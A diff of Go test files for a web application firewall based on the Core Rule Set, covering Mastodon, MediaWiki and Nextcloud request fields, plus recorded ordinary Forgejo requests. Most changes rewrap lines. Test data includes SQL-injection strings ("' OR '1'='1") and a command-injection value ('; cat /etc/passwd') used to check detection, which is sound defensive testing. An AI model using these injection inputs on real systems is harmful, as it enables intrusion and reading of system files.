+		"doorkeeper_application[website]=",
+	},
 	{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
 	{http.MethodPost, "/settings/migration", "account_migration[acct]="},
-	{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
-	{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
+	{
+		http.MethodPost,
+		mastodonAccount,
+		"user[invite_request_attributes][text]=",
+	},
+	{
+		http.MethodPost,
+		"/admin/accounts/1/action",
+		"admin_account_action[text]=",
+	},
 	{http.MethodPost, "/admin/report_notes", "report_note[content]="},
 	{
 		http.MethodPost, "/admin/account_moderation_notes",
@@ -149,12 +181,20 @@ var mastodonPasswordForms = []mastodonBodyField{
 	{http.MethodPost, mastodonAccount, mastodonPassword},
 	{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
 	{http.MethodPost, mastodonAccount, "user[current_password]="},
-	{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
+	{
+		http.MethodPost,
+		"/settings/migration",
+		"account_migration[current_password]=",
+	},
 	{
 		http.MethodPost, "/settings/migration/redirect",
 		"form_redirect[current_password]=",
 	},
-	{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
+	{
+		http.MethodPost,
+		"/settings/delete",
+		"form_delete_confirmation[password]=",
+	},
 	{http.MethodPost, mastodonSignUp, passwordField},
 }
 
@@ -181,12 +221,28 @@ var mastodonJSONFields = []mastodonBodyField{
 	},
 	{http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
 	{http.MethodPatch, mastodonEditor, `{"note":%s}`},
-	{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"name":%s}]}`},
-	{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"value":%s}]}`},
+	{
+		http.MethodPatch,
+		mastodonEditor,
+		`{"fields_attributes":[{"name":%s}]}`,
+	},
+	{
+		http.MethodPatch,
+		mastodonEditor,
+		`{"fields_attributes":[{"value":%s}]}`,
+	},
 	{http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
 	{http.MethodPatch, mastodonProfile, `{"note":%s}`},
-	{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"name":%s}]}`},
-	{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
+	{
+		http.MethodPatch,
+		mastodonProfile,
+		`{"fields_attributes":[{"name":%s}]}`,
+	},
+	{
+		http.MethodPatch,
+		mastodonProfile,
+		`{"fields_attributes":[{"value":%s}]}`,
+	},
 	{http.MethodPost, mastodonReports, `{"comment":%s}`},
 	{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
 	{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
@@ -195,8 +251,16 @@ var mastodonJSONFields = []mastodonBodyField{
 	{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
 	{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
 	{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
-	{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`},
-	{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`},
+	{
+		http.MethodPost,
+		mastodonInbox,
+		`{"object":{"attachment":[{"name":%s}]}}`,
+	},
+	{
+		http.MethodPost,
+		mastodonInbox,
+		`{"object":{"attachment":[{"value":%s}]}}`,
+	},
 	{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
 	{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
 }
@@ -239,7 +303,12 @@ func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int {
 	}
 
 	r := request{sent.method, sent.target, []string{jsonBody}}
-	got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted))
+	got, _ := inspectBody(
+		t,
+		readingBodies(t),
+		r,
+		fmt.Sprintf(sent.field, quoted),
+	)
 
 	return got.Score
 }
@@ -270,7 +339,11 @@ func mastodonScores(
 	}
 
 	for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
-		scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(t, sent, value)
+		scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(
+			t,
+			sent,
+			value,
+		)
 	}
 
 	unescaped, err := url.QueryUnescape(value)
@@ -279,7 +352,11 @@ func mastodonScores(
 	}
 
 	for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
-		scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(t, sent, unescaped)
+		scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(
+			t,
+			sent,
+			unescaped,
+		)
 	}
 
 	return scores
@@ -316,8 +393,11 @@ func TestMastodonPasswordsPass(t *testing.T) {
 	t.Run("JSON", func(t *testing.T) {
 		t.Parallel()
 
-		r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
-			[]string{jsonBody}}
+		r := request{
+			mastodonPasswordJSON.method,
+			mastodonPasswordJSON.target,
+			[]string{jsonBody},
+		}
 
 		wantRandomPasswordsPass(t, r, "password")
 		wantPasswordAttacksPass(t, r, "password")
@@ -332,8 +412,16 @@ func TestMastodonPasswordConfirmationPasses(t *testing.T) {
 
 	wantPasswordFieldsPass(t, []passwordFields{
 		{"/auth/challenge", formData, challenge},
-		{"/settings/two_factor_authentication/otp_authentication", formData, challenge},
-		{"/settings/two_factor_authentication_methods/disable", formData, challenge},
+		{
+			"/settings/two_factor_authentication/otp_authentication",
+			formData,
+			challenge,
+		},
+		{
+			"/settings/two_factor_authentication_methods/disable",
+			formData,
+			challenge,
+		},
 	})
 }
 
@@ -508,7 +596,11 @@ func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) {
 		{mastodonReport, "false"},
 		{mastodonForwardedReport, "remote.example"},
 	} {
-		report := mastodonBodyField{http.MethodPost, mastodonReports, sent.body}
+		report := mastodonBodyField{
+			http.MethodPost,
+			mastodonReports,
+			sent.body,
+		}
 		if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
 			t.Errorf("%v refused: %d", report, got)
 		}
@@ -572,12 +664,20 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
 	}
 
 	// Elsewhere both keep the two rules.
-	signIn := mastodonBodyField{http.MethodPost, mastodonSignIn, mastodonUsername.field}
+	signIn := mastodonBodyField{
+		http.MethodPost,
+		mastodonSignIn,
+		mastodonUsername.field,
+	}
 	if mastodonForm(t, signIn, "python3") < mastodonThreshold {
 		t.Errorf("%v let through", signIn)
 	}
 
-	statuses := mastodonBodyField{http.MethodPost, mastodonStatuses, mastodonHashtag.field}
+	statuses := mastodonBodyField{
+		http.MethodPost,
+		mastodonStatuses,
+		mastodonHashtag.field,
+	}
 	if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
 		t.Errorf("%v let through", statuses)
 	}
@@ -617,7 +717,11 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
 	// Elsewhere the address keeps every rule.
 	for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
 		sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
-		if mastodonForm(t, sent, "python3%40example.com") < mastodonThreshold {
+		if mastodonForm(
+			t,
+			sent,
+			"python3%40example.com",
+		) < mastodonThreshold {
 			t.Errorf("%v let through", sent)
 		}
 	}

internal/coreruleset/mediawiki_test.go

@@ -221,7 +221,13 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 
 			got, _ := inspectBody(t, crs, r, sent.field+attack)
 			if got.Score < mediawikiThreshold {
-				t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
+				t.Errorf(
+					"POST %s %s%s let through: %+v",
+					sent.target,
+					sent.field,
+					attack,
+					got,
+				)
 			}
 		}
 	}
@@ -231,7 +237,11 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 		scriptTag,
 	} {
 		for _, field := range []string{"source", "comment"} {
-			r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
+			r := request{
+				http.MethodPut,
+				mediawikiRESTPage,
+				[]string{jsonBody},
+			}
 			body := `{"` + field + `":"` + attack + `"}`
 
 			got, _ := inspectBody(t, crs, r, body)
@@ -270,15 +280,31 @@ func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
 		{"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
 		{mediawikiSignIn + "&" + loginContinue, formData, retype},
 		{mediawikiAccountChange + "?" + changeAction, formData, change},
-		{mediawikiAccountChange + subpage + "?" + changeAction, formData, change},
-		{"/index.php/Special:ChangeCredentials?" + changeAction, formData, change},
+		{
+			mediawikiAccountChange + subpage + "?" + changeAction,
+			formData,
+			change,
+		},
+		{
+			"/index.php/Special:ChangeCredentials?" + changeAction,
+			formData,
+			change,
+		},
 		{
 			"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
 			formData, change,
 		},
-		{"/w/index.php?title=Special:ChangeCredentials&" + changeAction, formData, change},
+		{
+			"/w/index.php?title=Special:ChangeCredentials&" + changeAction,
+			formData,
+			change,
+		},
 		// A German wiki's names for the same pages.
-		{"/index.php/Spezial:Benutzerkonto_anlegen?" + create, formData, retype},
+		{
+			"/index.php/Spezial:Benutzerkonto_anlegen?" + create,
+			formData,
+			retype,
+		},
 		{
 			"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
 			formData, retype,
@@ -319,7 +345,12 @@ func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
 
 		body := formBody(sent.name, "' OR '1'='1")
 		if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
-			t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
+			t.Errorf(
+				"POST %s %s let through: %+v",
+				sent.target,
+				sent.name,
+				got,
+			)
 		}
 	}
 }
@@ -350,7 +381,9 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
 
 	crs := atDefaults(t)
 
-	targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
+	targets := append(
+		[]string{"/load.php?modules="},
+		mediawikiQueryFields...)
 
 	for _, target := range targets {
 		got := inspect(t, crs, get(target+mediawikiCommandAttack))
@@ -367,7 +400,12 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
 
 		got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
 		if got.Score < mediawikiThreshold {
-			t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
+			t.Errorf(
+				"POST %s %s let through: %+v",
+				sent.target,
+				sent.field,
+				got,
+			)
 		}
 	}
 
@@ -382,7 +420,11 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
 	// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
 	// holds no ";", "|", "&", backtick or "{", and only when the body sends
 	// it once.
-	r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
+	r = request{
+		http.MethodPost,
+		mediawikiWatchlist.target,
+		[]string{formData},
+	}
 
 	for _, attack := range []string{
 		mediawikiCommandAttack,
@@ -428,7 +470,13 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
 
 			got, _ := inspectBody(t, crs, r, sent.field+value)
 			if got.Score >= mediawikiThreshold {
-				t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
+				t.Errorf(
+					"POST %s %s%s refused: %+v",
+					sent.target,
+					sent.field,
+					value,
+					got,
+				)
 			}
 		}
 
@@ -444,7 +492,11 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
 		}
 
 		// A watchlist holds the title on its second line, as recorded.
-		r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
+		r := request{
+			http.MethodPost,
+			mediawikiWatchlist.target,
+			[]string{formData},
+		}
 		body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
 
 		if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
@@ -517,7 +569,11 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
 		{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
 		{mediawikiAPI + "?action=edit", "text=python3"},
 	} {
-		r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
+		r := request{
+			http.MethodPost,
+			sent.target + "&" + sent.field,
+			[]string{formData},
+		}
 
 		got, _ := inspectBody(t, crs, r, sent.field)
 		if got.Score < mediawikiThreshold {

internal/coreruleset/nextcloud_test.go

@@ -107,7 +107,12 @@ var nextcloudBodies = []nextcloudBody{
 		http.MethodPut, nextcloudUsers + "/admin",
 		jsonBody, `{"key":"headline","value":"%s"}`,
 	},
-	{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
+	{
+		http.MethodPost,
+		"/ocs/v2.php/cloud/groups",
+		jsonBody,
+		`{"groupid":"%s"}`,
+	},
 	{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
 	{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
 	{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
@@ -115,17 +120,42 @@ var nextcloudBodies = []nextcloudBody{
 		http.MethodPost, "/apps/theming/ajax/updateStylesheet",
 		jsonBody, `{"setting":"slogan","value":"%s"}`,
 	},
-	{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
-	{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
+	{
+		http.MethodPost,
+		nextcloudSave,
+		jsonBody,
+		`{"filePath":"/%s/Readme.md"}`,
+	},
+	{
+		http.MethodPost,
+		"/remote.php/dav/systemtags/",
+		jsonBody,
+		`{"name":"%s"}`,
+	},
 	{
 		nextcloudSearch, "/remote.php/dav/", xmlBody,
 		`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
 			`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
 			`</d:like></d:where></d:basicsearch></d:searchrequest>`,
 	},
-	{nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
-	{nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
-	{nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
+	{
+		nextcloudMkcol,
+		nextcloudCalendars + "work",
+		xmlBody,
+		nextcloudNewCollection,
+	},
+	{
+		nextcloudMkcol,
+		nextcloudAddressBooks + "team",
+		xmlBody,
+		nextcloudNewCollection,
+	},
+	{
+		nextcloudMkcalendar,
+		nextcloudCalendars + "work/",
+		xmlBody,
+		nextcloudNewCalendar,
+	},
 }
 
 // The WebDAV methods that make a calendar or an address book.
@@ -187,7 +217,12 @@ var nextcloudDocument = nextcloudBody{
 //nolint:gochecknoglobals // a constant cannot be a list
 var nextcloudTexts = []nextcloudBody{
 	nextcloudDocument,
-	{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
+	{
+		http.MethodPost,
+		"/remote.php/dav/comments/files/1",
+		jsonBody,
+		`{"message":"%s"}`,
+	},
 	{
 		nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
 		`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
@@ -195,7 +230,12 @@ var nextcloudTexts = []nextcloudBody{
 			`</d:propertyupdate>`,
 	},
 	{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
-	{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
+	{
+		http.MethodPost,
+		nextcloudShares,
+		jsonBody,
+		`{"path":"/Notes","note":"%s"}`,
+	},
 	{
 		http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
 		formData, "note=%s",
@@ -223,7 +263,10 @@ const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
 // nextcloudBodyScore returns the request that sends value, which is not
 // escaped, in sent's body, and the score crs gives it.
 func nextcloudBodyScore(
-	t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
+	t *testing.T,
+	crs *coreruleset.CoreRuleSet,
+	sent nextcloudBody,
+	value string,
 ) (string, int) {
 	t.Helper()
 
@@ -258,7 +301,11 @@ func nextcloudFieldScores(t *testing.T, value string) map[string]int {
 	scores := map[string]int{}
 
 	for _, target := range nextcloudQueryFields {
-		scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
+		scores["GET "+target+value] = inspect(
+			t,
+			crs,
+			get(target+value),
+		).Score
 	}
 
 	for _, sent := range nextcloudFormFields {
@@ -350,11 +397,23 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
 		{"/apps/user_ldap/renewpassword", formData, change},
 		{"/index.php/apps/user_ldap/renewpassword", formData, change},
 		{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
-		{"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
+		{
+			"/index.php/apps/encryption/ajax/updatePrivateKeyPassword",
+			formData,
+			change,
+		},
 		{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
-		{"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
+		{
+			"/index.php/apps/encryption/ajax/changeRecoveryPassword",
+			formData,
+			recovery,
+		},
 		{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
-		{"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
+		{
+			"/index.php/apps/encryption/ajax/adminRecovery",
+			formData,
+			adminRecovery,
+		},
 		{"/login/confirm", jsonBody, password},
 		{"/index.php/login/confirm", formData, password},
 		{"/lostpassword/set/AbCdEf/alice", jsonBody, password},
@@ -409,7 +468,12 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
 		{jsonRequest, jsonPassword("; cat /etc/passwd")},
 	} {
 		if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
-			t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got)
+			t.Errorf(
+				"%s %.40s refused: %+v",
+				sent.r.headers[0],
+				sent.body,
+				got,
+			)
 		}
 	}
 
@@ -424,7 +488,12 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
 		{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
 	} {
 		if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
-			t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got)
+			t.Errorf(
+				"%s %.40s let through: %+v",
+				sent.r.headers[0],
+				sent.body,
+				got,
+			)
 		}
 	}
 
@@ -452,7 +521,12 @@ func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
 
 	document := "Backup steps:\n\n" + nextcloudCodeBlock
 
-	request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
+	request, score := nextcloudBodyScore(
+		t,
+		readingBodies(t),
+		nextcloudDocument,
+		document,
+	)
 	if score >= nextcloudThreshold {
 		t.Errorf("%s refused: %d", request, score)
 	}
@@ -499,7 +573,10 @@ func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
 	crs := atDefaults(t)
 
 	cookie := func(value string) request {
-		return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
+		return get(
+			"/apps/files/",
+			"Cookie: nc_sameSiteCookielax=true; nc_username="+value,
+		)
 	}
 
 	for _, value := range hardValues {
@@ -556,20 +633,40 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
 
 	// MKCALENDAR only where the calendars are.
 	for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
-		wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
+		wantResult(
+			t,
+			crs,
+			request{nextcloudMkcalendar, target, nil},
+			matched(),
+		)
 	}
 
 	for _, target := range []string{
 		nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
 		"/x/remote.php/dav/calendars/",
 	} {
-		wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
+		wantResult(
+			t,
+			crs,
+			request{nextcloudMkcalendar, target, nil},
+			matched(911100),
+		)
 	}
 
 	// PROPFIND, and no other WebDAV method, where a client asks for them.
 	for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
-		wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
-		wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
+		wantResult(
+			t,
+			crs,
+			request{nextcloudPropFind, target, nil},
+			matched(),
+		)
+		wantResult(
+			t,
+			crs,
+			request{nextcloudMkcol, target, nil},
+			matched(911100),
+		)
 	}
 
 	other := request{nextcloudPropFind, "/.well-known/other", nil}
@@ -603,7 +700,12 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
 	} {
 		sent := described.sent
 
-		request, score := nextcloudBodyScore(t, crs, sent, described.description)
+		request, score := nextcloudBodyScore(
+			t,
+			crs,
+			sent,
+			described.description,
+		)
 		if score >= nextcloudThreshold {
 			t.Errorf("%s refused: %d", request, score)
 		}
@@ -625,7 +727,12 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
 		// An MKCOL on the calendars' paths skips only the rules for names.
 		sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
 
-		request, score = nextcloudBodyScore(t, crs, sent, described.description)
+		request, score = nextcloudBodyScore(
+			t,
+			crs,
+			sent,
+			described.description,
+		)
 		if score < nextcloudThreshold {
 			t.Errorf("%s let through: %d", request, score)
 		}
@@ -661,7 +768,10 @@ func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
 			[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
 		},
 	} {
-		if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
+		if got := inspect(t, crs, refused); !slices.Contains(
+			got.RuleIDs,
+			920530,
+		) {
 			t.Errorf("%s %s %q let through: %+v",
 				refused.method, refused.target, refused.headers, got)
 		}
@@ -702,7 +812,12 @@ func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
 		} {
 			got, _ := inspectBody(t, crs, refused, upload.body)
 			if got.Score < nextcloudThreshold {
-				t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
+				t.Errorf(
+					"%s %s let through: %+v",
+					refused.method,
+					refused.target,
+					got,
+				)
 			}
 		}
 	}
@@ -713,7 +828,13 @@ func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
 
 	crs := atDefaults(t)
 
-	methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
+	methods := []string{
+		http.MethodGet,
+		http.MethodPut,
+		nextcloudPropFind,
+		"MOVE",
+		"LOCK",
+	}
 
 	for _, method := range methods {
 		for _, target := range []string{
@@ -801,7 +922,13 @@ func TestNextcloudExclusionsAreNarrow(t *testing.T) {
 
 		got, _ := inspectBody(t, crs, r, sent.body)
 		if got.Score < nextcloudThreshold {
-			t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
+			t.Errorf(
+				"%s %s %s let through: %+v",
+				sent.method,
+				sent.target,
+				sent.body,
+				got,
+			)
 		}
 	}
 }

internal/coreruleset/recorded_test.go

@@ -125,11 +125,14 @@ func wantRecordedRequestsPass(t *testing.T, name string) {
 				t.Errorf("%s %s refused: %+v", r.method, r.target, got)
 			}
 
-			typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
-				name, _, _ := strings.Cut(header, ":")
+			typed := slices.ContainsFunc(
+				recorded.Headers,
+				func(header string) bool {
+					name, _, _ := strings.Cut(header, ":")
 
-				return strings.EqualFold(name, "Content-Type")
-			})
+					return strings.EqualFold(name, "Content-Type")
+				},
+			)
 			if recorded.Body == "" && !typed {
 				return
 			}
@@ -149,6 +152,25 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
 	wantRecordedRequestsPass(t, "drupal-requests.txt")
 }
 
+// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
+// defaults only. While bodies are read, the Core Rule Set still refuses the
+// file and branch names some of them carry in a form or JSON body, as it does
+// gitea's (TestGiteaBodiesTheCoreRuleSetRefuses).
+func TestOrdinaryForgejoRequestsPass(t *testing.T) {
+	t.Parallel()
+
+	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
+
+	crs := atDefaults(t)
+
+	for _, recorded := range recordedRequests(t, "forgejo-requests.txt") {
+		r := request{recorded.Method, recorded.Target, recorded.Headers}
+		if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
+			t.Errorf("%s %s refused: %+v", r.method, r.target, got)
+		}
+	}
+}
+
 func TestOrdinaryMastodonRequestsPass(t *testing.T) {
 	t.Parallel()
 

internal/coreruleset/testdata/forgejo-requests.txt

@@ -0,0 +1,683 @@
+# Ordinary Forgejo 17.0.1 requests that the Core Rule Set must let through at
+# the defaults. They were recorded from a Forgejo driven by a headless Chrome,
+# signed out, signed in and on the admin pages, by git over HTTP, by curl on
+# the API and the generic package registry, and by crane on the container
+# registry. Each line is one request as JSON. Names, addresses and passwords
+# are invented. The browser's User-Agent is an ordinary Chrome's. A body or a
+# multipart part that is not text is written as base64.
+{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/explore/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/explore/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users", "Accept-Encoding: gzip, deflate"], "body": ""}
